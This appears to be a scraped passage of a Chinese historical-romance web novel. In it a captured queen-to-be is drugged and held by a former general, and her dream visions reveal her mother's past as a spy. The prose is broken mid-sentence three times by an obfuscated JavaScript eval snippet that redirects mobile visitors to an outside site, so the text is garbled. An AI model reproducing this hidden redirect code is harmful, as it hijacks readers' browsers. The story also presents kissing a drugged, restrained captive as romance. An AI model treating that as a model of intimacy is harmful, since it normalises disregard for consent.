她捂住嘴唇,惊愕地注视着他,目光从眼眸下移到嘴唇,优美的浅红,像一瓣桃花,看起来又温软又鲜活。 她脸烫得厉害,一瞬不瞬盯着他嘴唇,鬼使神差地再次靠近他、轻轻覆上自己双唇。他的嘴唇清甜而柔软,带着淡淡茶香,他们这次吻得更深、更久,感知着越来越强烈的悸动和愉悦,她不禁伸臂环住了他脖子,心绪激荡、久久不能平复。 “阿洵,我确实对你有点好感”,她轻轻摩挲着仍酥麻的嘴唇,双颊滚烫、埋下头不敢看他,思忖半晌,慎重地同意了,“也许你说得没错,我们可以先订婚再慢慢相处,我答应你。” 那是她第一次真正亲近男子,主动地、以女子的姿态。 元旻之于她,曾是纤尘不染的白,又高远又冷清,她欣赏、仰慕,却觉得只可远观不可亵渎。她喜他所喜、悲他所悲,甚至为他不顾惜性命,却唯独没想过亲近和相守。 而苻洵是不同、独特的,他之于她,是浓墨重彩的红,撕破她苍白寡淡的世界,鲜活的、温热的、自由的,像策马原野时掠过指间的风。 他的眼神和笑容时不时令她心尖一揪、精神一振,她不由自主想靠近他,想抱抱他、与他多说话。 她喜欢与苻洵在一起时的自己,又松快又自在,被他带得鲜亮而温热。总想对苻洵敞开心扉,觉得什么都可以跟他说、跟他分享。 元旻即位后,她曾短暂憧憬过以后的生活,彻底放下遥不可及的白雪皓月,走自己的路、再在那条路上遇到个鲜亮的男子,像苻洵那样可以亲近的、自在相处无话不谈的。 再像苻洵说过的那样,订婚、慢慢相处、成婚。 得了赐婚、册后两道圣旨后,她许多个夜晚彻夜难眠。 她身后连着褚氏全族。 她为翊臣,苻洵为荣将,虽有洛京会盟,上书房却仍用应对敌国的方式在讨论他们。 桩桩件件…… 舜英心一横,撑开双眼,没好气地说:“什么敢不敢?好几天水米未进,没力气睁眼。” 视线上方的苻洵,穿着玄色交领长袍,外罩银白色褙子,披银灰色披风,袖戴护腕,发髻用一只银簪挽起、没有束冠,潇洒利落,正居高临下注视着她。 见她睁眼,嘲讽道:“王后殿下千金之躯,怎跑来这荒山野岭,还被乱军俘了,你们陛下也舍得?” 抱臂而坐,似笑非笑地上下打量她。 “多谢将军相救”,舜英避开他目光,暗叹一声,幽幽地说,“在下实在不知,何时又得罪了将军,若将军余怒未消、心存芥蒂,此处危险,还请速速离去。” “从洛京到河州,你宁愿死,都不愿与我再有牵扯”,苻洵笑容消失,直勾勾盯着她,双唇颤抖,眼眶泛红,“褚舜英,好!你好得很!” 门口突然传来男声,边说边往里走:“主子,外面都收拾干净了,是否要……” “滚!”苻洵暴喝,随手抓起个东西,狠狠砸了出去。 “你说我是你的第一个朋友,你不会忘了我,却还是忘记了。” “你喜欢过我的,说没想过嫁给那人,还说跟我在一起很自在,叫我阿洵,答应跟我订婚,我们还……” “一转头就忘了,全都忘了!忘得干干净净!” 他失控笑出声来,笑声悲怆而绝望,眼眶蓄满泪水:“为什么,只剩我一个人这么痛苦?” “呵,是报应,是我自作自受。” 他直勾勾盯着她:“姐姐,看着我的眼睛,你真的已把我忘得干干净净了么?” “我从未心悦过你,谈何忘记?”舜英稳住心神,声音气若游丝,却毅然决然。对上他含泪的双眸,她强忍立即避开的冲动,凝聚飘忽的眼神,与他静静地对视。 默了片刻,她又深吸一口气,提高音量重复道:“从未。” 革带勒得她手腕脚腕生疼,眼前一阵黑一阵白,失血加饥饿,她再次晕了过去。 好软…… 蒙昧之中,温软的物事覆上她双唇,撬开牙关,随之而来一股清甜的热流,滑过喉咙,流入胃腹,惬意的暖意在五脏六腑弥散开来。 温软的物事移开,片刻后又覆了上来,清甜的热流越聚越多,她动了动手指头,知觉恢复了些。 好香,芳润的甘甜木香,带着适意的温暖从背后拢住了她。五脏六腑越来越舒适,清气上涌,她迷朦的脑子也清醒了些。 温软再度覆上来…… 她精神一振,忽然反应过来,忙挥动右臂想推开他,岂料气力并未恢复,手臂尚自麻木,只略略摇了几下。 喉咙只发得出轻微的哼声,她竭力睁眼,却只能将双目撑开一线。 朦胧中,苻洵轻笑了一声,脱下带着体温的披风垫在她背后,然后起身将她放回大石头上。避开她伤口、右手紧紧钳住她的两只手腕,高举过头顶,左手端起碗喝了一口,俯下身、双唇覆了上来,继续喂她喝药。 她下意识偏头闪避,奈何力气太弱、动作迟缓,没能避开。 这一次,她清晰感知到,他是如何轻柔而灵巧地撬开她唇齿,与她舌尖纠缠在一起。药已入腹,双唇却未并松开,舌尖探入更深、反复流连缠绵……温热湿润的呼气拂过脸颊,与她呼吸交融。 他的嘴唇清甜而灼热,像桂花酒的味道,她心神一漾,沉寂已久的悸动突然复苏,心底不断涌出酥酥麻麻的愉悦,愉悦霎时淹没了灵知。她忍不住闭上双眼,轻轻舔舐他的舌尖,回应他的亲吻。难以自抑地呼吸急促、微微喘息,身子越来越软,脑子昏沉得像浆糊。 她忽然心神一凛,意识到自己在做什么,最后一丝理智占回高地,用尽力气咬了下去。 苻洵若无其事直起身,抚了抚有些红肿、微微破损的唇,笑笑了,眼底掠过一抹异样神采,看向洞内。 “你要是再乱动,我就弄醒她们,在她们眼皮底下喂你喝药。” “还是说,你喜欢让她们看着,她们的王后,如何与外男亲近?” 舜英又羞又恼,从双颊一直烫到耳根,手臂挣脱不开,只好别过脸不再看他。 他却不再继续以那种方式喂药,而是缓缓松了右手,放开她手腕。转过身去,看了看碗底仅剩的药汤,一手托着她后背扶她起来,一手去端药碗…… 说时迟那时快,恢复了些力气的舜英,用尽全力推开他,而后挥动右臂,甩向他脸颊… 苻洵不闪不避,任那一记清脆的耳光重重落下,脸上立时浮起五道红色指痕,他却只笑着摇了摇头。 舜英余怒未消,又挥动左臂甩向他另一侧脸颊,被他轻松地伸手抓住,拉到身前端详片刻,柔声道:“轻些,伤口裂了,姐姐打我不要紧,仔细手疼。” 又拿过一碟子糕递到她右手边,又递来水袋,闲闲地说:“姐姐失血过多,虚得很,吃饱了有力气,打起来才够解恨。” 然后绕到她左侧,拆开旧棉布,重新替她上药包扎。 舜英快被他的无耻气笑了。 她不是什么三贞九烈的人,被轻薄了就要死要活,眼下保持体力更要紧些。于是任由他包扎,自顾自拿起糕点咬了一口,居然还是酥脆的,如此新鲜的糕,出炉不超过一天。 心念一动,一股寒意顺着后脊附上来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981282|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 九霄山脉长达八百里,苻洵是如何精准而及时赶到这个山洞的? 还是说,他一直都知道虎威残部驻扎何处,甚至知晓得更多。或者,在更早些时候,他们就已互通有无…… 舜英不动声色瞄了一眼苻洵,他正将干净的棉布缠到她手腕上,动作轻柔而专注。 “阿洵,今天九月初几?” 顺溜的称呼一出口,她不由怔住了。 苻洵动作一滞,却没有抬头:“九月十七。” 舜英见他不再心绪激昂,松了口气。琢磨开了,信是九月十一清晨送出,九月十三玉衡从萝州出发,他速度快,算上因时疫绕路…… 不出意外的话,九月十八元旻就能收到急报。 长流川早已军管戒严,无需重新整兵,军令传到水师仅需三日。也就是说,她还得再熬四天。 苻洵慢条斯理帮她包好伤口,背靠山洞石壁、贴着她栖身的大石头,散漫地坐下,双眸目不转睛地仰视着她。他的眼睛很好看,专注盯着谁时,无端就让人觉得楚楚可怜,又深情款款。 这该死的桃花眼! 舜英避开他目光,忽地又想起,开阳那队人九月初二从萝州出发,半个月还未到,走哪儿去了? 苻洵看她陷入沉思,忍不住发笑,忽然开口:“姐姐有何疑问,不如问我,必定知无不言。” 舜英心头突突直跳,那股缠绕脊背的森寒愈发浓烈。 “我的另一队属下在何处?” 苻洵闲闲道:“困在九霄山五六天了。” 舜英诧异道:“他们专门练过辨方位和识途,怎会迷路?” 苻洵纠正她:“不是迷路,是被困在了木石摆成的军阵里。不止他们,之前还有几个,头头叫什么龙牙,被俘了,不过没有危险。” 舜英更诧异:“若说双拳难敌四手,被围了还可信,困在木石军阵,他们自己都会排兵布阵,怎会困在虎威残部的军阵里。” “旁的自然不大会”,他唇角向上扬了扬,轻描淡写道,“可那军阵,所有兵书上都没有,是我自创后教给郭洋的。” 舜英感觉头皮蓦地炸开,一阵阵发麻,下意识摸向腰间。忽想起自己身陷囹圄、体虚力弱,纵有武器也不是苻洵对手。 于是缓缓收回手,酝酿片刻,换成柔和的语调:“你堂堂荣国将军,来教我翊国叛军兴兵布阵,闲得慌么?” 苻洵面不改色,淡淡道:“首先,我已辞官,不再是什么将军。” 顿了顿,觑着舜英神色变化,又说:“其次,我是去年教他的,当时我还不是什么将军,一心只想隐世。” “游历深山的蛮族少年,遇到个兴趣相投的将门之后,结为忘年之交,聊聊兵法,有何不妥?” 舜英稳了稳心神,颤声问:“以你之聪慧,猜不到郭洋是谁么,他领的兵是叛军么?” “多谢姐姐夸我聪慧”,苻洵凉凉地笑了,“猜到了,不到五万步兵,都不够元旻看的。” “不过,能给他添添堵,也不错。” “以为他会直接挥师南下呢,倒是没成想这样心慈手软。” 舜英再度被他的淡漠震惊,失控惊呼:“可是,会死人,死很多人!” “阿旻隐忍数月,我南下三千里,我们做的一切,都是为了让滬南不再被屠一遍。” 被“阿旻”二字刺痛,苻洵笑容消失了,声音讥诮中透着冷:“所以,仁慈善良的王后殿下,是在教我向善么?” “教我这个弑君弑兄、暴厉恣睢的乱臣贼子,放下屠刀、立地成圣么?” 一拳打在铁板上,舜英无奈地放柔语调:“他们为救我而来,请将军手下留情。” 苻洵懒懒站起身,居高临下注视着她,嗤笑道:“王后殿下一直都这样求人么?” 73. 值得 无名火从心底腾起、一路烧上了头,舜英抬了抬手,却发现依然无力。 头顶传来苻洵凉飕飕的嘲讽。 “别试了,你一晚上试了多少次,有用么?” “你喝的药对益气补血有奇效,只是会令你短期全身无力。” 前所未有的无力和屈辱充斥全身,憋得舜英快疯了,鼻尖一酸、泪水模糊了视线。 她咬紧牙关从石头上滚下,坚硬粗粝的石头撞得她生疼,浑然不顾。 竭尽全力双臂撑地、直起上身跪了起来,深吸一口气、憋住眼泪,一字一字请求:“求将军饶我下属性命。” 苻洵想要搀扶她的手顿在半空,微笑僵住了,愣愣看着跪在自己面前的她,半晌回不过神。 许久,忽然笑起来,笑得双肩不断颤动,目不转睛盯着她,眼圈通红。 “我与你,已经到这个地步了么?” “我鬼话连篇时你深信不疑,我真心想帮你时你却怎么都不信。” “其实刚才,我只想再听你叫我一声‘阿洵’。” 苻洵定定注视着她,不知过了多久,将披风叠起来,在大石头上垫好。又抱起跪得膝盖麻木、几近晕厥的她,在石头上放平,解开护腕、脱下褙子盖到她身上。 “无论你想做什么,现在都做不成,先好好养精蓄锐,我会一直在这护着你和她们。” 天渐渐黑了,郎琊带人捡来一堆干柴,苻洵在她身边生好一堆火,暖烘烘的火光驱散了河州深秋的潮冷。他又吩咐秦川带人给天璇天玑她们松松绑、再灌些糖水和迷药下去。 然后,回首眷恋地看了她一眼,走到山洞口坐下,将长刀横在膝上。 舜英张了张嘴,却终究一个字也未说出口。 那些悸动和回忆,真又如何,幻又如何?没缘法就是没缘法。 故作疏离没有用,逃避也没有用。 真糟糕啊,总在亏欠他。 林间夜风高寒,苻洵坐得笔直,头也不回、沉声道:“白袍卫听令。” “寸步不离此山洞,枕戈待旦,杀退各路兵匪,守此地平安无虞!” . 舜英又做梦了。 灰雾一次淡似一次,舜英总感觉双鱼玉佩的幻境快到末章。好似那些心愿已了的怨念,黑气会跟着变淡、消散…… 镂空的雕花窗棂中挤入细碎的月光,云妃一身素服站在窗前,目光越过重重碧瓦飞甍,更远的地方却是一片模糊黑暗,她的眼神怅惘而涣散。 风中传来一股异香,她忙掩住口鼻,走廊传来几声沉浊的倒地声,房门在她身后打开,黑袍黑氅的许一舟走了进来。 “元璟率军作战很有天赋,阊江、奉池周边都已尽归翊军,燮陵已算是被围了,被攻破只在早晚。” “郑尧嘉病了半年多,郭氏阖族只等着他咽气,就扶持襁褓中的太子登基。你之前圣宠太隆,会被他们拿来开刀的。” “阿云,翊军胜局已定,不再需要更多的牺牲了,跟我走吧。” 云妃仍只是定定看向远方,忽然指向一个方向,神往地喃喃道:“一舟,我好像看到西津渡了。” “带着手里还干净、没有暴露的姐妹撤离吧,我走不了了。” 她缓缓转身,轻抚隆起的小腹,笑容温柔:“一舟,我要做娘亲了。” 许一舟愣住了:“什么时候的事?” 她平静地说:“出冷宫前后吧,具体哪次,记不清了。” 许一舟惊恐地倒退了几步,颤声问:“出冷宫前后几天,孩子的父亲是……” “也许是郑尧嘉、郭越、萧胤,也许是哪个侍卫、乐工……”云妃笑得更温柔,眼神却是坚忍决绝的,“可是,不管父亲是谁,这都是我的孩子!” 许一舟呆愣半晌,忽然走到云妃身前、双膝跪下,轻轻抚上那隆起的腹,脸上笑意恍惚:“是啊,反正都是阿云的孩子。” “阿云,你只要点个头,我就算豁出这条命,也要带你和孩子逃出这里。” “我是宦官,这辈子都不会有亲生骨血,你的孩子我一定视如己出。我还在昇阳收养了个女儿,回头接上阿姿,我们一起远走高飞。” “找个远离庙堂、远离宫廷、没人认识我们的地方,一家四口,隐姓埋名、重新开始。” 云妃伸出手,掀落许一舟那一直罩着的风帽,拉他起来,替他整理好发髻、衣襟和系扣,声音轻柔而讥诮:“一舟,你比我多活了十几年,怎么还这样天真?” “征南之役要师出有名,征讨滬国的是仁义之师,灭了郑氏国祚要堂堂正正、光明磊落。” “千秋功名、万载史册的赫赫王师,怎会与我们这些违礼乱常、淫德灭国的红颜祸水为伍?” “从我以郑尧嘉宠妃的身份臭名昭著,我的坟墓就已掘好……” 许一舟怔怔凝视她双目,潸然泪下:“阿云,除了这孩子,可还有什么心愿,我陪你去?” 云妃点了点头,看向窗外另一个方向,行空复道如一条长虹,长虹的另一头,幽微月光照耀着三个字——临仙阁。 云妃摸黑走进临仙阁时,郑尧嘉已瘦得只剩皮包骨,茫然在空中挥舞着双手,双眼雾蒙蒙的,嘴唇干裂,声音虚弱而低哑——“阿云”。 比起外面的重重护卫,临仙阁的侍从并不多,值夜的宫婢都昏昏欲睡,茶壶里的水已经凉了。 云妃倒了一杯茶,握在手心捂温热,抱住郑尧嘉上半身将他托起,喂他喝水。 “陛下,阿云来了。” 郑尧嘉眼睛已不大看得清楚,急切地攥住她的手,贴在脸颊上感知着温暖,却摸索中触到她隆起的腹部,苍白的唇绽出一丝笑:“阿云,我们有孩子了?” 云妃用轻轻摩挲着他的脸,泪盈于睫:“是啊,陛下一定要活下去,还有两个月,就能亲眼看见咱们的孩子了。” 郑尧嘉忙不迭点头:“好……朕听御医的话,按时服药、努力加餐,一定平安活到这孩子出生。” 他瑟瑟发抖,往云妃怀中钻了钻,云妃紧紧抱住这可鄙又可怜的男人,一下一下顺着他干枯的头发。 房中静了不知多久,他忽然开口:“阿云,其实你是翊国奸细吧,是不是等燮陵城破,就要回去了?” 云妃放在他发丝的手一滞,未置可否。 郑尧嘉将她的手攥得更紧:“能不能再等等……等我闭了眼再走?” 云妃柔声道:“妾不回去了,永远在这里陪着陛下。” 郑尧嘉慌乱起来:“不,你快走,淑娴要来了,她会让你生不如死。” 一忽儿又恐惧得瑟瑟发抖:“阿云,不要丢下我——” 过了不知多久才安静下来,松开手,抚过云妃柔亮的发丝,缠上自己枯槁的头发,轻声道:“朕此生最大的遗憾,是未能娶阿云为妻……” 云妃会意,将那两绺缠绕的发丝咬断,绞作一股,放在郑尧嘉手心。 郑尧嘉将发丝握紧,枯槁的脸上浮出笑意,气若游丝道:“少小为夫妇,结发誓偕老。如何中道间,弃置不相保……” 灯火和铁靴踏地声由远及近,围住了临仙阁,庭燎晣晣,郭越与郭淑娴并肩走了进来。 云妃置若罔闻,紧握着郑尧嘉的手,轻声吟出下句:“抱恨匪良图,忧心徒懆懆。世上应无连理枝,阶下偏生断肠草。” 她阴险狡诈、狠毒诡谲、□□、势利,他苟且偷安、愚蠢软弱、好色、无德。他们同流合污、沆瀣一气,临了临了,他却将那颗被酒色泡烂的真心掏出来,塞给了她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981283|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郭淑娴冷声呵斥:“崔怜云,你果然是奸细。拉下去,同她腹中孽种一起,杖毙!” 云妃先是一言不发,只静静看着郭越,直到被禁卫押出殿门那一刻,忽然回身大喊:“陛下你记着,咱们的孩儿已七个月了,是被郭淑娴活活打死的!” 郑尧嘉挣扎着要爬起来,颤声呼喊:“住手!” 郭淑娴冷笑不语,郭越却突然后背一僵,眼中精光乍现,抬起手沉声道:“且慢!” 迎着郭淑娴疑惑的目光,郭越罕见地露出笑意:“淑娴,咱们已有嫡长子即位,这个孩子也威胁不了什么。” “我有门客精于驭魂术”,郭越从郑尧嘉手中夺过那绺发丝,冷笑道,“这孩子活着,比死了用处更大。” . 胸口毫无预兆地刺痛,像是腊月的朔风挟着无数利箭呼啸而过。舜英睁开双眼,只感觉心口一空,那些缠绕自己十多年的怨念倏忽消散了。 她目不转睛盯着漆黑的洞顶,唇角弯起嘲讽的笑意,自言自语:“原来,我是这样的存在啊。” 黑暗中浮起一张又一张人脸,贺浮白、郭越、许一舟、昭王、崔怜云…… 她轻声问:“值得吗,贺将军?” 贺浮白:“值得,这些脏事,总要有人去做。” 她问:“值得吗,郭太尉?” 郭越:“值得,战死沙场是将军最好的归宿。” 她问:“值得吗,许统领?” 许一舟:“值得,以我隐蝠卫数百细作的生死荣辱,换前线数十万将士性命。” 然后,她看向昭王:“为灭一国,穷兵黩武、搭进去数十万男儿,翊国的、滬国的,何以至此?” 昭王:“以战止战,虽战可也。并两国为一国,再不会有大型攻伐,不会死更多人。” 最后,她注视着崔怜云:“娘,为什么是如此不堪的郑尧嘉?” 崔怜云淡淡笑了:“我接近的不是郑尧嘉,是滬国的一国之君。” 黑暗中的脸越来越多,贺浮白、郭越、许一舟、昭王、崔怜云……丹河谷七万将士濒死的脸,一张张挤过来,凑到她眼前,零零碎碎窃窃私语。 最终汇成相同的三个字:“懂了么?” 黑暗中另一个方向,浮出两卷白金交织的帛锦:赐婚圣旨、册后诏书。耳畔的声音越来越响:“懂了么?” 懂了你是谁?何所思?何所求?要去往何处? “懂了……可我不想懂,那太可怕了,那是世间最冰冷的枷锁……”梦里,铺天盖地的白覆压下来,她四肢不能动、身躯僵硬无力,沉重的窒息感包裹住她,那一抹浓墨重彩的红变得越来越淡。 她挣扎着去抓那抹红,嘶声呼喊:“阿洵。” “阿洵……”沉睡中的人喃喃呓语,紧紧攥住他的衣袖。 手停在她额头上方一分处,就能感受到她滚烫的体温,与她高烧对应的、是身体正畏寒地瑟瑟发抖。 苻洵让人去打来清水,装进铁皮水壶撑在篝火上,烧开后放得温凉再喂给她。又犹豫许久,还是托起她上身,用披风裹住她颤抖的身躯,然后将她搂进怀中,紧紧拥抱住。 又从褙子上撕下一块布,用热水浸湿后卷成筒状长条,敷在她额头。 苻洵抱了大半夜,舜英迷迷糊糊醒了,额头细细密密全是汗珠,双颊瘦削惨白、嘴唇无半分血色,失去神采的双眸静静与他对视。 发现自己被抱着,先试图推开他,发现自己四肢酸软,便放弃了努力。苻洵会意,轻轻将她放下,在石头上平躺好,又将她身上的衣袍裹紧了些。 苻洵看了她许久,忽然开口,玩笑一般提议道。 “这样遭罪……要不然,别回去当什么王后了,考虑考虑……重新找个知冷知热的夫婿?” 74. 人生南北多歧路 舜英摇摇头,哑声开口:“五年前,昭王下了一道圣旨,赐婚;今年春,当今陛下亲写诏书,册后。陛下仁厚,不愿行逼嫁之事,但王族颜面终须维护,我不会也不能嫁给别人。” 苻洵一怔,瞳孔急遽收缩,忽然嘲讽地冷笑:“五年前?果真磊落!” 舜英诧异:“什么?” 苻洵嗤笑:“没什么,我说他果真磊落。” 想了想,往山洞内侧瞥了一眼,带着恳求急切地说:“如果只是因为赐婚圣旨,现在就是最好的时机。他没有护住你,我可以先制造你被叛军所害的迹象,咱们一起离开这里,远走高飞……” “我可能不会嫁给陛下,也可能不会当什么王后,但更不会与你成婚”,舜英打断他的怀想,“就算先前答应过与你订婚,也是我不懂事的戏言,抱歉。” 苻洵呆住了,艰涩地扯了扯唇角:“我可以做得很隐秘,干系不到褚氏一族。” “阿洵,给你讲个故事吧”,舜英思忖半晌,轻声道,“你之前给我讲过你的娘亲,我也想说说我的娘亲。” 苻洵拿过水壶试了试温度,喂她喝了几口,耐心地静静听她叙说。 “我的娘亲,是郑后主的宠妃云妃。” 苻洵笑了:“原来令堂是倾国倾城的美人,怪不得姐姐天生丽质。” 他如此轻描淡写,倒让她有些错愕,旋即心头一暖,余下的话也流利了些:“没人知道她从哪里来、之前做过什么,史书只记得她是红颜祸水、倾家丧国的妖妃……明明是大翊平定滬南的线报头子,死后却要被抹去所有生平过往,只留个空荡荡的追封爵位供奉太庙。” “他们承认她的功劳。却不敢承认那些功劳的背后是什么,他们享受着她带来的好处,却不愿接受那些好处不够干净光彩的来源。” “小时候,我曾无数次梦见娘亲和爹爹……后来,我知道了娘亲是谁,却还是不能确定生父是谁。有时候真庆幸当初选择随母姓褚,不然我自己也不知该姓郑、郭、萧……” “所以啊,聪明人的眼光很相似,我也觉得‘褚’姓最好听”,苻洵笑盈盈又喂了她几口水,“而且,那样艰难的处境下,她还能将你送进王宫教养、为你铺好前路,倒让我想到自己娘亲。” 舜英唇角带着嘲讽:“可世人若知晓我真实身份,定会觉得我是最可笑的人。流着最秽乱的血,却自诩长自公宫;诞生于混乱的假意,却妄求获得真心;存活于卑劣的阴谋,却口口声声君子端方……” 苻洵脸上笑容消失,瞳仁清澈如许,沉静专注地看着她,正色道:“一点也不可笑,无论你出身如何,都有着最高贵的品格,虽困于重重阴谋,却始终未改赤子初心。你的父亲是谁不重要,重要的是‘你’。” 他顿了顿又说:“你的娘亲罔顾自身的生死荣辱,为国立下汗马功劳,是顶天立地的英雄。这世间只有滬南百姓有资格骂她恨她,那些自诩高贵正统的世家大族,无一人配评判她的功过是非。” 舜英默默凝视他许久,神色变得泰然,笑了笑:“说来奇怪,知道来龙去脉后、再跟你这么一聊,我其实也不觉得这是什么耻辱。她是个英雄,我以她为傲,只是十分心疼她。” 苻洵也笑了:“看得出来,我知道。” 她直到此刻才发现,自己在这世上,只能对他说这些事、这些话,有且只有他才能理解,也只有他的认同是诚恳而真实的。 原来,这世间只有一个苻洵,独一无二的苻洵。 注定被她错过的苻洵。 太可惜了……她生平第一次如此遗憾,第一次因自己婚约的对象不是他、而非婚约存在本身而难过。 胸口忽地空了一大块、疼痛欲碎,脑海阵阵轰鸣,她眼皮撑不住打晃,再次晕厥过去。 她再次醒来时,天已经亮了,几名白袍卫正在给山洞里的隐蝠卫灌迷药和流食,然后替她们松绑、活动四肢。苻洵正从洞口走进来,带进一身阳光。 他坐在石头边,眼神满是恳求和希冀,不甘心地继续试探:“照你所述,你身体里明明流着一半滬国遗民的血,为何一定要选择成为翊人、选择褚姓,忠于元氏一族?” “你给我讲这个故事,是想说大势已定,还是说你愿遵循令慈的替你做选择?” 舜英喝了几口适温的水,感觉喉咙的干哑缓解许多,才轻声道:“我睁开眼看见的第一个人,是太后娘娘,当时她膝下有好几个孩子,陛下、五公主、我、阿旭,她对每个孩子都很周全很有耐心,从不因我出身低微就轻视我、疏忽我。” “我小时候热衷习武,成天上蹿下跳的,衣服鞋子都破得很快,娘娘就吩咐掌事女官,每次裁衣给我用的面料都是柔韧透气的,衣袍数量比阿旭这个正牌王子还要多一倍,鞋底也特意加厚过。” 苻洵目光黯然:“几年前曾听你说起过,你还说正因如此,你心甘情愿追随她的嫡亲儿子。” 舜英惊诧片刻,又说:“我五岁拜襄国公为师,他为了教我这个小娃娃,花了很多心思,桐花别苑至今还有几根梅花桩、比一般人练得矮小些,底下垫着的细沙全是淘洗后蒸熟了的……怕我磕着碰着,沾上什么不干净的东西伤口发炎。” “我小时候好动、看书听学坐不住,他就亲手画了很多画本,硬生生把我教出点知书识礼的样子。” “担心我在宫里呆着闷,逮着时机就带我去西市和城郊玩,虽然次数不多,但是我吃的第一个糖人、采的第一朵野花全是他带我去的。” 苻洵笑了:“原来,我们都一样,虽未曾得到生父养育,却都有人像父亲那般待我们。” 舜英苦笑:“所以,当时陛下和国尉大人说你不接受招揽,我还有些失望,后来设身处地一想就明白了,你确实不可能被翊国招揽。” 苻洵眼神一冷,瞬间反应过来,唇角笑意透出嘲讽:“他们说得没错,我确实不可能入翊为将。” 舜英摇了摇头,瞥向洞内躺着的一排:“她们、还有被你困在木石阵里的那些护卫,很多人是我亲手从街头、江湖、青楼、军中一个一个选出来,我们一起练武、一起东奔西走完成任务,都是并肩作战、交托后背的人。” “还有武煊,每次见到什么好马、好兵器,总想着给我也买一份。” 苻洵垂眸沉思,似有所悟。 舜英又说:“虽然我长到十八岁前,从未见过任何一名褚氏族人,可他们都对我很好。我归宗后回城西褚宅时,他们早就替我布置好了闺阁,所有陈设都问过春羽姑姑、全是依照我的喜好。” “我那间院子有个小私库,里面放满了各种礼物。虽然我不在褚氏身边长大,可每年生辰姨母都会存一份礼物进去,后来有了堂弟堂妹,他们也如法炮制,自己得了什么新奇的玩具、总会多买一份放在我屋里……” 苻洵眼眶微红,隐隐透着失落:“他们都很好……换了我也放不下这些牵绊,这就是你选择成为翊国人的理由?” “对,牵绊”,舜英轻声道,“我选择成为翊人,不是因为血脉,而是牵绊。我的亲人、师父、朋友、袍泽全都在这里,我的母亲更是为了这个国家,永远葬身异乡。” “因为他们,我爱这个国家、这片土地,所以我选择姓褚,选择忠于元氏一族、效忠这个国家的君父。” 苻洵沉默半晌才轻声说:“阿洵知道了。” “我的牵绊很少,所以总漂浮不定。” “我大致猜到你要做什么,也会竭尽所能相助。” . 九月十八辰时末,玉衡拖着奄奄一息的身躯,携漫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981284|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天尘烟,纵快马冲入昇阳城东门。从东华门入王宫,过春秋道,直奔上书房。 两刻钟后,位于王宫正南的大庆、宣政、明德三门依次打开,元旻骑良驹玉狮子,一手持虎符、一手握缰绳,风驰电掣奔向太尉府。 深秋的风在他耳畔呼啸而过,吹得来不及换下的衮服猎猎作响,他的身后追着望尘莫及的内卫、中书令等人…… 一刻钟后,从太尉府冲出两路传令官,一路迅速分散在昇阳各街,奔向司农令司、丞相府、御史台;另一路则背负火红加急令旗,高呼“八百里加急!御赐金牌,阻者死,逆者亡!”往西而去,一驿过一驿,驿骑如流星,片刻不歇直至洛京城东的长济渠。 九月十八申时末,长济水师洛京大营,蓄势待发的传令舠似离弦的箭,顺长济渠水路,向南方长流川狂飙而去。 晚霞如锦铺在明德门城楼上,元旻注视着城门下鱼贯而出的司农令、司农丞,伸出手遮在右额,挡住西边有些刺眼的晚霞,极目南望。 “以后不要再跑这么远,这样吓我了。” “阿英,等我亲自南下,来接你回家。” . 晚霞自西向东,静静照在阳华山的顶端,冯姮被肩舆抬着,从凰羽寺的祈福陪殿款款走下,候在山门的春羽和冬雪迎上去,喜不自胜地欢呼:“娘娘,大殿下打赢了!” 乌桓之战,从五月二十三起至今三月有余,元旻亲自坐镇,每天都会召丞相与司农令入上书房商议,确保向北的粮草供应源源不绝,更是夜以继日守着前线战报、亲自调度各地兵马与宣庆骑兵交协互援。 十三天前,国尉元晞斩北宛大将郎巡,生擒主帅赫连骛,北宛骑兵败走,退回边墙以北。元晞乘胜追击,沿途风卷残云般掠过北宛二十八部其中五部,直捣柘枝城。 八天前,惊惧交加的冯建,连发九道议和国书呈递昇阳。 一天前,收到议和书的元旻非但未下令撤军,反命元晞继续围攻靠近乌桓边墙、支持冯建的五个部落,部落单于及其成年子嗣皆被诛杀,数万牧民归顺大翊、宣庆府获辎重牲畜不计其数。 九月十八,冯姮回到宝慈宫时已是亥时,跨进前殿时,幽微的灯光下,静候多时的元旻起身迎上来,身后跟着她的亲侄子——北宛质子冯彬。 “他冯建说战就战,说和就和,哪有那样的便宜事?” “朕欲再结冯、元两姓之好,表弟的婚事,劳烦母后操持一二。” . 乌桓之战的捷报传遍了昇阳、商都、洛京,传遍了长流川以北各城,举国鼓舞欢忻。 